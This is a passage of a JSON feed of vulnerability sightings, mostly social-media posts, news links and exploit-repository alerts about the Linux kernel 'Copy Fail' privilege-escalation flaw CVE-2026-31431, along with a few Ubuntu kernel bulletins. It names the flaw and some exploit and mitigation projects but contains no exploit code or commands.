"2026-05-05T01:24:38.141087Z"}, {"uuid": "0580e394-2dbb-4995-aec7-06e2515d1ab5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/novalfaiq/e6afa58d88747d77a302b80aa86088b2", "content": "", "creation_timestamp": "2026-05-05T01:23:45.000000Z"}, {"uuid": "3a5f4047-24a8-47b7-90fa-847224e4428e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/novalfaiq/9d01ab62f9c504321c5bebaf90d2fcab", "content": "", "creation_timestamp": "2026-05-05T01:46:52.000000Z"}, {"uuid": "283cedf4-198e-4e8f-b87a-08125c7856d3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/82837", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-31431-Copy-Fail\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a rippsec\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Shell\n\u2b50 Star\u6570\u91cf\uff1a 1  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-05 00:47:33\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-05T01:00:04.000000Z"}, {"uuid": "44e30d85-1018-453a-9ca5-e9d602e7fa97", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/opsmatters.com/post/3ml34u76hg72r", "content": "The latest update for #SafeBreach includes \"'Copy Fail' Vulnerability (CVE-2026-31431): #Linux Kernel Privilege Escalation\" and \"Introducing SafeBreach Helm\".\n \n#Cybersecurity https://opsmtrs.com/41NWGuQ", "creation_timestamp": "2026-05-05T02:21:27.957005Z"}, {"uuid": "1e9dd049-9ebc-4dee-8c03-3bc26d84ac72", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3ml35daxrws2s", "content": "Top 3 CVE for last 7 days:\nCVE-2026-31431: 540 interactions\nCVE-2026-41940: 82 interactions\nCVE-2026-3854: 57 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-31431: 59 interactions\nCVE-2026-41940: 8 interactions\nCVE-2026-22679: 5 interactions\n", "creation_timestamp": "2026-05-05T02:29:52.980545Z"}, {"uuid": "77296a00-8fbd-47e3-8c82-9d6fd4fe72c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/opsmatters.com/post/3ml36pwp3cc2g", "content": "The latest update for #Tanium includes \"What is a software patch? How it works and why it matters\" and \"Copy Fail (CVE-2026-31431): What #Linux administrators need to know now\".\n \n#cybersecurity #EndpointProtection #EndpointSecurity https://opsmtrs.com/3DH5Ks9", "creation_timestamp": "2026-05-05T02:54:52.229959Z"}, {"uuid": "ef9cb3b7-5698-45cd-b125-3cb72ca7e9ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/hn100.bsky.social/post/3ml3bwahx642o", "content": "CVE-2026-31431: Copy Fail vs. rootless containers\n\nDiscussion", "creation_timestamp": "2026-05-05T03:52:06.371029Z"}, {"uuid": "dfeac0d1-be30-4514-aafb-5ecf92216094", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/news.karthihegde.dev/post/3ml3c4k7d4v2t", "content": "CVE-2026-31431: Copy Fail vs. rootless containers\nDiscussion | hackernews | Author: averi", "creation_timestamp": "2026-05-05T03:55:39.111120Z"}, {"uuid": "a11a3aad-d765-40ba-9b96-663f6b461647", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/hnws.bsky.social/post/3ml3c4mjmcr2t", "content": "CVE-2026-31431: Copy Fail vs. rootless containers\ncomments \u00b7 posted on 2026.05.04 at 23:43:08 (c=0, p=5)", "creation_timestamp": "2026-05-05T03:55:40.606098Z"}, {"uuid": "7b18b925-adf0-48b4-9b0c-9436236f4a6c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/hackernewsbot.bsky.social/post/3ml3cejzjvv2r", "content": "CVE-2026-31431: Copy Fail vs. rootless containers | Discussion", "creation_timestamp": "2026-05-05T04:00:04.906235Z"}, {"uuid": "eeb366fa-1cff-4b5b-9888-2da439d3ade9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-31431", "type": "seen", "source": "https://bsky.app/profile/hnbot.gsuscs.xyz/post/3ml3cf7ds622l", "content": "CVE-2026-31431: Copy Fail vs. rootless containers\n\nhttps://www.dragonsreach.it/2026/05/04/cve-2026-31431-copy-fail-rootless-containers/", "creation_timestamp": "2026-05-05T04:00:28.051988Z"}, {"uuid": "691c5003-0f5e-49a3-ab96-de8cdad19e93", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-31431", "type": "seen", "source": "https://bsky.app/profile/hackernewstop5.bsky.social/post/3ml3ck4uxpv25", "content": "CVE-2026-31431: Copy Fail vs. rootless containers\n\n#HackerNews\n\nhttps://www.dragonsreach.it/2026/05/04/cve-2026-31431-copy-fail-rootless-containers/", "creation_timestamp": "2026-05-05T04:03:12.555934Z"}, {"uuid": "81ce4449-c496-4d23-b8a7-7960d93cabe9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-31431", "type": "seen", "source": "https://bsky.app/profile/betterhn20.e-work.xyz/post/3ml3f7a73fr2a", "content": "CVE-2026-31431: Copy Fail vs. rootless containers https://www.dragonsreach.it/2026/05/04/cve-2026-31431-copy-fail-rootless-containers/ (https://news.ycombinator.com/item?id=48017813)", "creation_timestamp": "2026-05-05T04:50:48.203979Z"}, {"uuid": "f33ced5b-bcb6-4c69-b44d-997e095e5154", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-31431", "type": "seen", "source": "https://bsky.app/profile/sagalinked.bsky.social/post/3ml3fnq4blf23", "content": "\ud83d\udcf0 CVE-2026-31431: Copy Fail vs. rootless containers\n\n\ud83d\udd17 https://www.dragonsreach.it/2026/05/04/cve-2026-31431-copy-fail-rootless-containers/\n\n#Tech #Dev", "creation_timestamp": "2026-05-05T04:58:54.707744Z"}, {"uuid": "b7971cfc-be54-415f-b0cb-431d1a391e52", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-31431", "type": "seen", "source": "https://bsky.app/profile/betterhn50.e-work.xyz/post/3ml3hyutibb26", "content": "CVE-2026-31431: Copy Fail vs. rootless containers https://www.dragonsreach.it/2026/05/04/cve-2026-31431-copy-fail-rootless-containers/ (https://news.ycombinator.com/item?id=48017813)", "creation_timestamp": "2026-05-05T05:40:56.005186Z"}, {"uuid": "ba15ab61-677e-40cf-88a3-d17d8c8833e8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/ytroncal.bsky.social/post/3ml3izdlt4c2w", "content": "CVE-2026-31431: Copy Fail vs. rootless  www.dragonsreach.it/2026/05/04/c...", "creation_timestamp": "2026-05-05T05:59:06.105115Z"}, {"uuid": "50399b73-3349-46b0-a8cf-c32c19615025", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-31431", "type": "seen", "source": "https://bsky.app/profile/ikkeT.mementomori.social.ap.brid.gy/post/3ml3j7no2ds62", "content": "Red Hat product updates to copy fail available https://access.redhat.com/security/cve/cve-2026-31431\n\n#cve202631431 #CopyFail", "creation_timestamp": "2026-05-05T06:03:27.899508Z"}, {"uuid": "a941cb04-56df-4223-8699-703c2b80511d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/hackernewsrobot.bsky.social/post/3ml3ky76ax42y", "content": "CVE-2026-31431: Copy Fail vs. rootless containers", "creation_timestamp": "2026-05-05T06:34:14.564667Z"}, {"uuid": "ac47e5ff-8647-4d8e-a7d7-d7534a844ac8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31540", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T05:48:14.728795Z"}, {"uuid": "0ddfe16c-eb9a-4399-a4e7-e5c89c882297", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31341", "type": "seen", "source": "Telegram/GTfIJoyF1Lt3B5gz7lJdoSnmGz0vERHomtjpDmxFXmb5k8w", "content": "", "creation_timestamp": "2026-05-04T23:00:24.000000Z"}, {"uuid": "3ac6708b-c48c-4148-a7dd-d92124372caa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31717", "type": "seen", "source": "Telegram/GTfIJoyF1Lt3B5gz7lJdoSnmGz0vERHomtjpDmxFXmb5k8w", "content": "", "creation_timestamp": "2026-05-04T23:00:24.000000Z"}, {"uuid": "f53138bc-360e-44d9-b91a-47a26a442d90", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/iLUe8v0Uh0Sb6iiHrVVi_18OGPn_eI_21UJtbxqFwUVI_uE", "content": "", "creation_timestamp": "2026-05-05T03:00:05.000000Z"}, {"uuid": "8749263d-ebc7-4d3e-b481-fb2b01e020b8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/rPnY3cDOMvKcPFRcx6QsxUGiZwWHKwUb91xptawBtUQTSW0", "content": "", "creation_timestamp": "2026-05-04T21:00:04.000000Z"}, {"uuid": "80ca80d5-44c2-4923-ae06-ebfddbcc331a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/0_HRy55XY1gHFnZjznakOF7ZoOcpEYzc0dvtDC6c94sHEnY", "content": "", "creation_timestamp": "2026-05-04T15:00:07.000000Z"}, {"uuid": "3094207f-21de-419c-9377-4fefbdf78de8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/XcvE3DqJ3gfHbHlWBgCF8vzzdw-S4AP1Zm_7A_yYzHhyXEw", "content": "", "creation_timestamp": "2026-05-04T09:00:04.000000Z"}, {"uuid": "e878ab76-6b9c-4b3d-9c4b-b29f01d8f19a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/xOE6u0S4AhmTrHPBDYscPzMv6FpE3fbyPNbn5dJYZfuDoSw", "content": "", "creation_timestamp": "2026-05-04T03:00:05.000000Z"}, {"uuid": "7491549c-eff4-495b-87bb-2427c53674e3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/getpacketai.bsky.social/post/3ml3mgvclvd2c", "content": "CISA flags critical Linux privilege escalation bug under active attack. CVE-2026-31431 now on the KEV list\u2014patch your systems immediately.\n\nhttps://thehackernews.com/2026/05/cisa-adds-actively-exploited-linux-root.html\n\n#cybersecurity #infosec", "creation_timestamp": "2026-05-05T07:00:24.772812Z"}, {"uuid": "d93e97ee-07f4-491e-9352-31e24efb70eb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/kompetenztraining.bsky.social/post/3ml3n2bv73e27", "content": "Wir hatten lange kein sch\u00f6nes Linux Local Privilege Escalation mehr, oder? CVE-2026-31431 kombiniert AF_ALG-Sockets mit splice(), um beliebige Daten in den Page Cache von Systembinaries zu schreiben \u2014 konkret /usr/bin/su. Kernel < 6.19.12 betroffen, gesamte 6.17.x-Linie ungepatcht.", "creation_timestamp": "2026-05-05T07:11:11.914328Z"}, {"uuid": "b98fd415-329e-42b1-9800-e2d2707051fc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-31431", "type": "seen", "source": "https://gist.github.com/SagaieNet/68a2d3a5ef28966ab7f6dbe83a6a0dd0", "content": "", "creation_timestamp": "2026-05-05T07:16:48.000000Z"}, {"uuid": "aba2168d-5538-45e0-b291-8ed30cb50c7a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-31431", "type": "seen", "source": "https://gist.github.com/SagaieNet/a7ac63874bd4ab1636c8ff56d9ebfde4", "content": "", "creation_timestamp": "2026-05-05T07:21:20.000000Z"}, {"uuid": "6fbb47a4-43a7-4dba-94d8-01bb1b603d86", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/newsycombinatorbot.bsky.social/post/3ml3owv3i6f27", "content": "CVE-2026-31431: Copy Fail vs. rootless containers (www.dragonsreach.it)\n\nDiscussion | Main Link", "creation_timestamp": "2026-05-05T07:45:05.207560Z"}, {"uuid": "f1cea772-db3a-441d-89aa-36ec1cdd8401", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/basefortify.bsky.social/post/3ml3qmxu3bk2t", "content": "\ud83d\udea8 What if a Linux exploit never touched disk?\n\nCopy Fail (CVE-2026-31431) lets attackers become root by corrupting the page cache in memory.\n\nNo file changes  \nNo integrity alerts  \nHarder to detect\n\nCVSS 7.8 (High)\n\n\ud83d\udc49 basefortify.eu/posts/2026/0... \n\n#Linux #CyberSecurity #CopyFail", "creation_timestamp": "2026-05-05T08:15:28.544366Z"}, {"uuid": "4411e3e7-5f2d-4894-a1a4-faceab439d74", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/basefortify.bsky.social/post/3ml3qmzggm22t", "content": "\ud83d\udea8 What if a Linux exploit never touched disk?\n\nCopy Fail (CVE-2026-31431) lets attackers become root by corrupting the page cache in memory.\n\nNo file changes  \nNo integrity alerts  \nHarder to detect\n\nCVSS 7.8 (High)\n\n\ud83d\udc49 basefortify.eu/posts/2026/0... \n\n#Linux #CyberSecurity #CopyFail", "creation_timestamp": "2026-05-05T08:15:29.187832Z"}, {"uuid": "13135932-442e-4f54-905d-21fbd8d94ef5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/basefortify.bsky.social/post/3ml3qn4uwqc2t", "content": "\ud83d\udea8 What if a Linux exploit never touched disk?\n\nCopy Fail (CVE-2026-31431) lets attackers become root by corrupting the page cache in memory.\n\nNo file changes  \nNo integrity alerts  \nHarder to detect\n\nCVSS 7.8 (High)\n\n\ud83d\udc49 basefortify.eu/posts/2026/0... \n\n#Linux #CyberSecurity #CopyFail", "creation_timestamp": "2026-05-05T08:15:29.697939Z"}, {"uuid": "86eb20f6-3f3c-4c1e-ba63-e67aea1d5ea1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/pixelsandpulse.bsky.social/post/3ml3qz3qfqc2h", "content": "A severe Linux kernel vulnerability, CVE-2026-31431 \"Copy Fail,\" lets attackers corrupt in-memory binaries for privilege escalation. We break down how it works and why rootless containers like Podman offer a vital layer of\u2026\n\nhttps://www.tpp.blog/1ip7iqt\n\n#cybersecurity #cve202631431 #copyfail", "creation_timestamp": "2026-05-05T08:22:07.197164Z"}, {"uuid": "38785b4f-0ce4-4901-9ba9-bad0b984b139", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/jfstenuit/7a90b1d6d1116863693907e6e1cd3de4", "content": "", "creation_timestamp": "2026-05-05T08:20:03.000000Z"}, {"uuid": "3be76bd2-0792-40bd-883d-1bf01da2ab83", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/Ubuntu.activitypub.awakari.com.ap.brid.gy/post/3ml3rcn3kbgy2", "content": "CopyFail sur Linux : les patchs de s\u00e9curit\u00e9 sont-ils disponibles ? Les patchs pour la CVE-2026-31431, alias CopyFail, sont-ils disponibles pour les distributions Linux : Debian, Ubuntu, RHEL, etc...\n\n#Actu #Cybers\u00e9curit\u00e9 #Cybers\u00e9curit\u00e9 #Linux\n\nOrigin | Interest | Match", "creation_timestamp": "2026-05-05T08:27:30.777934Z"}, {"uuid": "6b269345-28a0-43f6-83ee-c84af4795290", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/annabzz.bsky.social/post/3ml3rlii7n22z", "content": "CVE-2026-31431?", "creation_timestamp": "2026-05-05T08:32:24.775674Z"}, {"uuid": "3896911e-2c50-480b-9d68-670b3acf3191", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-31431", "type": "seen", "source": "https://gist.github.com/acalatrava/a632d8e224ce05db8a30be1d4e2dd69a", "content": "", "creation_timestamp": "2026-05-05T08:38:55.000000Z"}, {"uuid": "bd979fc0-a3f7-4a85-94cb-37332f426a90", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/82871", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a copyfail-exploit\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a xeloxa\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 2  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-05 06:58:46\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCopy Fail (CVE-2026-31431) LPE exploit. A clean, multi-arch Python reimplementation targeting the Linux kernel AF_ALG page cache vulnerability.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-05T07:00:05.000000Z"}, {"uuid": "0c1c3d0e-c63a-4a08-ad90-bbdb546f61b3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/82877", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a mitigate-copy-fail.yml\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a deadRabbit92\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a None\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-05 07:57:21\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nMitigates CVE-2026-31431 (Copy Fail) by unloading and blacklisting algif_aead kernel module if it is loadable and has no active references.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-05T08:00:05.000000Z"}, {"uuid": "203376a8-750c-43b0-af70-900e2597cadc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/probbrain.bsky.social/post/3ml3uyvu37222", "content": "CVE-2026-31431: Copy Fail vs. rootless containers", "creation_timestamp": "2026-05-05T09:33:35.545167Z"}, {"uuid": "f842134f-c2c0-4e98-89d0-d69836e6eb7c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/camorabug.com/post/3ml3vhxu7eb2v", "content": "Microsoft warns of high-severity Linux privilege escalation\u00a0flaw\n\nA new Microsoft warning says Copy Fail could increase risks for Kubernetes, CI/CD, and shared Linux workloads. Microsoft Defender has warned that CVE-2026-31431, also known as \u2018Copy Fail\u2018, is a high-severity local privilege\u2026", "creation_timestamp": "2026-05-05T09:42:01.425566Z"}, {"uuid": "cf9ac821-c976-4e5f-85e7-1f2c034cd574", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-31431", "type": "seen", "source": "https://bsky.app/profile/hn100.atproto.rocks/post/3ml3vnz7zbm2n", "content": "CVE-2026-31431: Copy Fail vs. rootless containers\nhttps://www.dragonsreach.it/2026/05/04/cve-2026-31431-copy-fail-rootless-containers/\n\nhttps://news.ycombinator.com/item?id=48017813", "creation_timestamp": "2026-05-05T09:45:23.814588Z"}, {"uuid": "36ffbeb9-1840-4400-9506-b67498844ae2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31545", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T05:48:20.309188Z"}, {"uuid": "f9409fc1-2927-4b34-aafa-f5d86378ccfe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31546", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T05:48:23.392117Z"}, {"uuid": "64e86a62-f8fe-4880-b5ed-a5ca11f39507", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31549", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T05:48:26.443384Z"}, {"uuid": "b25d054d-212c-4401-b79f-e5aef0e38dda", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/hn-frontpage-bot.bsky.social/post/3ml3x4xy32p2v", "content": "A vulnerability (CVE-2026-31431) allowed privilege escalation within a rootless container by corrupting the page cache of /usr/bin/su. However, User Namespace UID mapping prevented the escalation from affecting the host system, demonstrating the effectiveness of rootless container architecture.", "creation_timestamp": "2026-05-05T10:11:39.587750Z"}, {"uuid": "2e233c0f-1eda-4b4f-baa5-1c137ca83280", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/camorabug.com/post/3ml3xig5ipk2t", "content": "Microsoft warns of high-severity Linux privilege escalation\u00a0flaw\n\nA new Microsoft warning says Copy Fail could increase risks for Kubernetes, CI/CD, and shared Linux workloads. Microsoft Defender has warned that CVE-2026-31431, also known as \u2018Copy Fail\u2018, is a high-severity local privilege\u2026", "creation_timestamp": "2026-05-05T10:18:03.520033Z"}, {"uuid": "e76b4db8-c05a-4d0e-87f9-552589e87f0a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31550", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T05:49:06.170964Z"}, {"uuid": "0a062d5f-e905-4e1f-a4e9-2010afce85e8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31551", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T05:49:08.542359Z"}, {"uuid": "a75498f0-1844-4ec2-8c3d-112ade4982e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/pixelhead.bsky.social/post/3ml3zi47fz22h", "content": "Wegen diesem Copy Fail Bug CVE-2026-31431 bei #linux ... ich wei\u00df jetzt immer noch nicht, ob oder wie sehr das Smartphones oder Tablets mit Android 